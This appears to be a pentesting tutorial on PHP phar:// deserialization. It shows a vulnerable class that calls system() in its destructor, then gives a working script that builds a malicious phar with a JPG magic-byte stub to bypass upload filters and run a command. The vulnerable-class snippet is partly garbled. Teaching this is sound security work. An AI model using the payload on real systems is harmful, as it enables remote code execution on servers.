phar:// deserialization

Phar files (PHP Archive) files contain meta data in serialized format, so, when parsed, this metadata is deserialized and you can try to abuse a deserialization vulnerability inside the PHP code.

The best thing about this characteristic is that this deserialization will occur even using PHP functions that do not eval PHP code like file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize().

So, imagine a situation where you can make a PHP web get the size of an arbitrary file an arbitrary file using the phar:// protocol, and inside the code you find a class similar to the following one:

```php:vunl.php

data = $data; } function __destruct() { system($this->data); } } filesize("phar://test.phar"); #The attacker can control this path

You can create a **phar** file that when loaded will **abuse this class to execute arbitrary command**s with something like:

```php:create_phar.php
<?php

class AnyClass {
    public $data = null;
    public function __construct($data) {
        $this->data = $data;
    }

    function __destruct() {
        system($this->data);
    }
}

// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");

// add object of any class as meta data
$object = new AnyClass('whoami');
$phar->setMetadata($object);
$phar->stopBuffering();

Note how the **magic bytes of JPG** (`\xff\xd8\xff`) are added at the beginning of the phar file to **bypass** **possible** file **uploads** **restrictions**.\ **Compile** the `test.phar` file with:

php --define phar.readonly=0 create_phar.php

And execute the `whoami` command abusing the vulnerable code with:

php vuln.php

### References {{#ref}} https://blog.ripstech.com/2018/new-php-exploitation-technique/ {{#endref}} {{#include ../../banners/hacktricks-training.md}} ?>